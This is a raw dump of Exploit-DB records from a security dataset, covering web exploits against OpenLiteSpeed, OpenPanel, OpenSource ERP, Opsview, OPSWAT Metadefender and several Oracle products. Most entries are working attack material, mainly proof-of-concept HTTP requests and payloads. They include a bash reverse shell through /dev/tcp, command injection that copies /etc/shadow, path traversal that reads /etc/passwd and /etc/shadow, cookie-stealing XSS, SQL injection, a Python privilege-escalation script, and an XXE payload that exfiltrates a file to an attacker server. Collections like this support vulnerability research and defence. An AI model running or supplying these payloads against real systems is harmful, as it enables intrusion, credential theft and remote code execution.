deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49727
Description: Openlitespeed 1.7.9 - 'Notes' Stored Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2021-03-30
Author: cmOs

Exploit:
# Exploit Title: Openlitespeed 1.7.9 - 'Notes' Stored Cross-Site Scripting
# Date: 3/30/2021
# Exploit Author: cmOs
# Vendor Homepage: https://openlitespeed.org/
# Software Link: https://openlitespeed.org/kb/install-from-binary/
# Version: 1.7.9
# Tested on Ubuntu 20.04

Step 1: Log in to the dashboard using the Administrator account
Step 2: Go to Listeners > Summary > Actions (View) > Edit
Step 3: Inject XSS_Payload to "Notes" parameter
Step 4: Graceful Restart
Step 5: Trigger XSS when Administrator click on Default Icon

[POC]

POST /view/confMgr.php HTTP/1.1
Host: 127.0.0.1:7080
Connection: close
Content-Length: 163
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://127.0.0.1:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://127.0.0.1:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: LSUI37FE0C43B84483E0=325275ee1caf0c970c4ae7960d30f0a6;
litespeed_admin_lang=english; LSID37FE0C43B84483E0=kWLbCk%2F0XX0%3D;
LSPA37FE0C43B84483E0=I%2Fpkx%2FeQg4s%3D

name=Default&ip=ANY&port=8088&reusePort=&secure=0&note=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E&a=s&m=sl_Default&p=lg&t=L_GENERAL&r=Default&tk=0.04356800[PII_REDACTED]
Exploit-DB #49483
Description: Openlitespeed Web Server 1.7.8 - Command Injection (Authenticated) (1)
Type: webapps
Platform: multiple
Date: 2021-01-27
Author: SunCSR

Exploit:
# Exploit Title: Openlitespeed WebServer 1.7.8 - Command Injection (Authenticated)
# Date: 26/1/2021
# Exploit Author: cmOs - SunCSR
# Vendor Homepage: https://openlitespeed.org/
# Software Link: https://openlitespeed.org/kb/install-from-binary/
# Version: 1.7.8
# Tested on Windows 10


Step 1: Log in to the dashboard using the Administrator account.
Step 2 : Access Server Configuration > External App > Command
Step 3: Set "Start By Server *" Value to "Yes (Through CGI Daemon)
Step 4 : Inject payload "fcgi-bin/lsphp5/../../../../../bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" to "Command" value
Step 5: Graceful Restart

[POC]

POST /view/confMgr.php HTTP/1.1
Host: target:7080
Connection: close
Content-Length: 579
Accept: text/html, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://target:7080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://target:7080/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: LSUI37FE0C43B84483E0=b8e3df9c8a36fc631dd688accca82aee;
litespeed_admin_lang=english; LSID37FE0C43B84483E0=W7zzfuEznhk%3D;
LSPA37FE0C43B84483E0=excYiZbpUS4%3D

name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock&note=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=1&autoStart=2&path=fcgi-bin%2Flsphp5%2F..%2F..%2F..%2F..%2F..%2Fbin%2Fbash+-c+'bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.17.52%2F1234+0%3E%261'&backlog=100&instances=0&extUser=&extGroup=&umask=&runOnStartUp=3&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.08677800[PII_REDACTED]
Exploit-DB #52195
Description: OpenPanel 0.3.4 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: Korn Chaisuwan_ Charanin Thongudom_ Pongtorn Angsuchotmetee

Exploit:
# Exploit Title: OpenPanel 0.3.4 - Directory Traversal 
# Date: Dec 05, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53537

### Compress Function ###
POST /compress_files HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyFtw.LmzkwVp2FF_x2AkdK5DVKigeef8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 96
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

archiveName=/home/stefan/test/test3&selectedFiles%5B%5D=shadow&pathParam=../../etc&extension=tar

### Copy Function ###
POST /copy_item?item_name=shadow&path_param=/etc&item_type=text%2Fplain&destination_path=/home/stefan/ HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyFtw.LmzkwVp2FF_x2AkdK5DVKigeef8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Content-Length: 0
Te: trailers


###  Download Function ###
GET /download_file/shadow?path_param=/etc HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyFtw.LmzkwVp2FF_x2AkdK5DVKigeef8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers


### View Function ### 
GET /view_file?filename=shadow&path_param=/etc HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyFtw.LmzkwVp2FF_x2AkdK5DVKigeef8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Exploit-DB #52196
Description: OpenPanel 0.3.4 - Incorrect Access Control
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: Korn Chaisuwan_ Charanin Thongudom_ Pongtorn Angsuchotmetee

Exploit:
# Exploit Title: OpenPanel 0.3.4 - Incorrect Access Control
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53582

GET /files/../.. HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyEag.70MOWk6Q4cZWoRbciZO94dsGxgw
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Exploit-DB #52197
Description: OpenPanel 0.3.4 - OS Command Injection
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: Korn Chaisuwan_ Charanin Thongudom_ Pongtorn Angsuchotmetee

Exploit:
# Exploit Title: OpenPanel 0.3.4 - OS Command Injection 
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53584

POST /server/timezone HTTP/2
Host: demo.openpanel.org:2083
Cookie: minimenu=0; session=eyJfZnJlc2giOmZhbHNlLCJ1c2VyX2lkIjozfQ.ZyyaKQ.HijWQTQ_I0yftDYEqqqqRR_FuRU; theme=dark
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/server/timezone
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

timezone=;cat+/etc/shadow+>+/home/stefan/secret.txt
Exploit-DB #52198
Description: OpenPanel Copy and View functions in the File Manager 0.3.4 - Directory Traversal
Type: webapps
Platform: multiple
Date: 2025-04-14
Author: Korn Chaisuwan_ Charanin Thongudom_ Pongtorn Angsuchotmetee

Exploit:
# Exploit Title: OpenPanel Copy and View functions in the File Manager 0.3.4 - Directory Traversal
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53582

GET /view_file?filename=shadow&path_param=/etc HTTP/2
Host: demo.openpanel.org:2083
Cookie: session=eyJ1c2VyX2lkIjoxfQ.ZyyFtw.LmzkwVp2FF_x2AkdK5DVKigeef8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/files/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Exploit-DB #46118
Description: OpenSource ERP 6.3.1. - SQL Injection
Type: webapps
Platform: multiple
Date: 2019-01-10
Author: Emre ÖVÜNÇ

Exploit:
#Exploit Title: OpenSource ERP SQL Injection
#Date: 10.01.2019
#Exploit Author: Emre ÖVÜNÇ
#Vendor Homepage: http://www.nelson-it.ch
#Software Link: http://sourceforge.net/projects/opensourceerp/files/Windows/erp_6.3.1.exe/download
#Version: v6.3.1
#Tested on: Windows

# CVE-2019-5893
https://github.com/EmreOvunc/OpenSource-ERP-SQL-Injection
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5893
https://www.emreovunc.com/blog/en/OpenERP-SQL-DBversion.png

# PoC

POST /db/utils/query/data.xml HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://172.16.118.142:8024
Referer: http://172.16.118.142:8024/
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
Cookie: MneHttpSessionId8024=[PII_REDACTED]828
Host: 172.16.118.142:8024
Content-Length: 414
Accept-Encoding: gzip, deflate
Connection: close

sqlend=1&query=%27%7c%7ccast((select+chr(95)%7c%7cchr(33)%7c%7cchr(64)%7c%7c(SELECT+VERSION())%7c%7cchr(95)%7c%7cchr(33)%7c%7cchr(64))+as+numeric)%7c%7c%27&schema=mne_application&table=userpref&cols=startweblet%2cregion%2cmslanguage%2cusername%2cloginname%2cpersonid%2clanguage%2cregionselect%2ctimezone%2ccountrycarcode%2cstylename%2cusername%2cstartwebletname&usernameInput.old=session_user&mneuserloginname=test
Exploit-DB #37271
Description: Opsview 4.6.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: multiple
Date: 2015-06-12
Author: Dolev Farhi

Exploit:
# Exploit title: Opsview 4.6.2 - Multiple XSS
# Date: 07-06-2015
# Vendor homepage: www.opsview.com
# Version: 4.6.2
# CVE: CVE-2015-4420
# Author: Dolev Farhi @dolevf
# Tested On: Kali Linux + Windows 7

# Details:
# --------
# Opsview is a monitoring system based on Nagios Core. Opsview is prone to several stored and reflected XSS vulnerabilities in the latest version



1. Stored XSS through a malicious check plugin

a. Create a plugin with the following content:

#!/bin/bash
echo '<script>alert("script0t0s")</script>'
exit 2

b. create a new check and assign this plugin.

c. once a host uses this check, navigate to the event page, the XSS will be injected.

d. once a user/admin acknowledges this critical event (exit 2), the code will be injected prior his acknowledgement.



2. Stored XSS in host profile

a. add a host

b. in the description of the host, add a description as the one below:
<script>alert(document.cookie)</script>

c. save settings

d. once a user/admin views the host settings, XSS will be injected.


3. Reflected XSS in Test service check page.
a. Add a new service check

b. Test the new service check against any host and provide in the command line the following <script>alert("test")</script>

c. the XSS will immediately reflect to the screen.

response output:

POST /state/service/166/exec HTTP/1.1
Host: 192.168.0.20
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.20/status/service?host_state=0&host_filter=handled&host=opsview
Content-Length: 105
Cookie: PHPSESSID=
auth_tkt=
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

plugin_args=%3Cscript%3Ealert(%22opsview%22)%3C%2Fscript%3E&_CSRFToken=0x84BCDAD00D5111E5988CB34E7AFD915
Exploit-DB #51113
Description: OPSWAT Metadefender Core - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2023-03-28
Author: Ulascan Yildirim

Exploit:
# Exploit Title: OPSWAT Metadefender Core - Privilege Escalation
# Date: 24 October 2022
# Exploit Author: Ulascan Yildirim
# Vendor Homepage: https://www.opswat.com/
# Version: Metadefender Core 4.21.1
# Tested on: Windows / Linux
# CVE : CVE-2022-32272
# =============================================================================
# This is a PoC for the Metadefender Core Privilege escalation vulnerability.
# To use this PoC, you need a Username & Password.
# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.
# =============================================================================

#!/usr/bin/env python3
import requests
import json
from getpass import getpass

url = input("Enter URL in this Format (http://website.com): ")
username = input("Username: ")
[CREDENTIAL_REDACTED]("Password: ")

url_login = url+'/login'
url_user = url+'/user'
logindata = {"user":username,"password":password}

## Get the OMS_CSRF_TOKEN & session cookie
response_login = requests.post(url_login, json = logindata).json()
json_str = json.dumps(response_login)
resp = json.loads(json_str)
token = resp['oms_csrf_token']
session = resp['session_id']

## Prepare Header & Cookie
headers = {
    "oms_csrf_token": token,
}
cookie = {
    "session_id_ometascan": session
}

## Set Payload to get Admin role
payload = '{"roles": ["1"]}'

response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)
print("Response status code: "+str(response.status_code))

if response.status_code == 200:
    print("Expolit Successful!")
else:
    print("Exploit Unsuccessful")
Exploit-DB #49444
Description: Oracle Business Intelligence Enterprise Edition 11.1.1.7.140715 - Stored XSS
Type: webapps
Platform: multiple
Date: 2021-01-20
Author: omurugur

Exploit:
# Exploit Title: Oracle Business Intelligence Enterprise Edition 11.1.1.7.140715 - Stored XSS
# Exploit Author: omurugur
# Vendor Homepage: https://www.oracle.com/security-alerts/cpujan2021.html
# Version: 11.1.1.7.140715
# Author Web: https://www.justsecnow.com
# Author Social: @omurugurrr

Stored  XSS:

“;!—“”<script>alert(document.cookie);</script>=&{(alert(document.cokie))}

Vulnerable area = Dashboard - Add New Text
Exploit-DB #10448
Description: Oracle E-Business Suite - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2009-12-14
Author: Hacktics

Exploit:
Oracle E-Business Suite is prone to multiple authentication-bypass and HTML-injection vulnerabilities.

Attackers could exploit these issues to steal cookie-based authentication credentials, perform unauthorized actions, or bypass certain security restrictions. Other attacks are also possible.

Some of these vulnerabilities may be documented in BID 33177 (Oracle January 2009 Critical Patch Update Multiple Vulnerabilities). Reportedly, the HTML-injection and some authentication-bypass vulnerabilities were addressed in the Oracle January 2009 Critical Patch Update. Full details are not currently available. We will update this BID as more information emerges.

Oracle E-Business Suite 10 and 11 are vulnerable; other versions may also be affected. 

Bugtraq ID: 37305
Class: Unknown
CVE: 
Remote: Yes
Local: No
Published: Dec 14 2009 12:00AM
Updated: Dec 14 2009 10:13PM
Credit: Hacktics (Shay Chen, Gil Cohen, and Oren Hafif)
Vulnerable: Oracle E-Business Suite 11i 11.8
Oracle E-Business Suite 11i 11.7
Oracle E-Business Suite 11i 11.6
Oracle E-Business Suite 11i 11.5.10 CU2
Oracle E-Business Suite 11i 11.5.10
Oracle E-Business Suite 11i 11.5.9
Oracle E-Business Suite 11i 11.5.8
Oracle E-Business Suite 11i 11.5.7
Oracle E-Business Suite 11i 11.5.6
Oracle E-Business Suite 11i 11.5.5
Oracle E-Business Suite 11i 11.5.4
Oracle E-Business Suite 11i 11.5.3
Oracle E-Business Suite 11i 11.5.2
Oracle E-Business Suite 11i 11.5.1
Oracle E-Business Suite 11i 11.5
Oracle E-Business Suite 11i 11.4
Oracle E-Business Suite 11i 11.3
Oracle E-Business Suite 11i 11.2
Oracle E-Business Suite 11i 11.1
Oracle E-Business Suite 11i 11.5.10.2
Oracle E-Business Suite 11.0
Oracle E-Business Suite 10.7

An attacker can use a browser to exploit these issues.

The following example URIs are available:

Authentication bypass:

http://server:port/OA_HTML/OA.jsp
http://server:port/OA_HTML/RF.jsp
http://server:port/pls/[DADName]/oracleconfigure.customize?p_page_id=[page_id]
http://server:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
http://server:8888/pls/TEST/oracleconfigure.customize?p_page_id=1

HTML injection:

http://server:port/pls/[DADName]/icx_define_pages.editpagelist
http://server:port/pls/[DADName]/oracleconfigure.customize?p_page_id=[page_id]
http://www.example.com:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=RENAME&p_page_id=[page_id]
http://server:port/pls/[DADName]/icx_define_pages.DispPageDialog?p_mode=CREATE
Exploit-DB #50167
Description: Oracle Fatwire 6.3 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2021-07-29
Author: J. Francisco Bolivar

Exploit:
# Exploit Title: Oracle Fatwire 6.3 - Multiple Vulnerabilities
# Date: 29/07/2021
# Exploit Author: J. Francisco Bolivar @Jfran_cbit
# Vendor Homepage: https://www.oracle.com/index.html
# Version: 6.3
# Tested on: CentOS

1. Xss

Adt parameter is vulnerable to Xss:

https://IPADDRESS/cs/Satellite?c=Page&cid=xxxx&pagename=xxxx&adt=<img
src="a" onerror=alert(document.cookie);>

2. Path Traversal

https://IPADDRESS/cs/career/getSurvey.jsp?fn=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

3.   Blind Sql injection

POST
/cs/Satellite?cid=xx&pagename=XXXXXXX/elementIncludesestPractice/b/searchBestPractice
HTTP/1.1
Host: IPaddress

pillar_bp=&subcategory_bp=&htlcd_bp=&id_ex=<SQL Injection>&command=XX

The vulnerable parameter is : id_ex (POST)
 Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pillar_bp=&subcategory_bp=&htlcd_bp=&id_ex=203 AND
3958=3958&command=xxxxxT
Exploit-DB #47196
Description: Oracle Hyperion Planning 11.1.2.3 - XML External Entity
Type: webapps
Platform: multiple
Date: 2019-07-31
Author: Lucas Dinucci

Exploit:
- Exploit Title: XXE Injection Oracle Hyperion 
- Exploit Author: Lucas Dinucci (idntk.lucdin@gmail.com)
- Twitter: @identik1t
- Vendor Homepage: https://www.oracle.com/applications/performance-management
- Date: 02/11/2019
- Affected Product: Oracle Hyperion Enterprise Performance Management System
- Version: 11.1.2.3
- CVE: CVE-2019-2861
- Patch: https://www.oracle.com/technetwork/security-advisory/cpujul2[PII_REDACTED].html
- Vulnerability Type: https://cwe.mitre.org/data/definitions/611.html


# XML External Entity (XXE) Injection 


The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks.

Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4

Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST)


# Proof-of-concept


1 - Create a file and name it as xxe_poc with the following content, replacing with your server address:

	
<!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>">


2 - Start a webserver to receive the connection, such as:


sudo python -m SimpleHTTPServer 80


3 - Place the following payload in one of the vulnerable parameters, replacing with your server address:


<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m xmlns="http://oracle.com/richClient/comm"><k v="type">
action
</k></m>


4 - Data retrivial:

Serving HTTP on 0.0.0.0 port 8000 ...

192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /xxe_poc HTTP/1.1" 200 -

192.168.13.1 - - [11/Feb/2019 04:59:47] code 404, message File not found

192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /log?data=; HTTP/1.1" 200 -;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files] HTTP/1.1" 400 -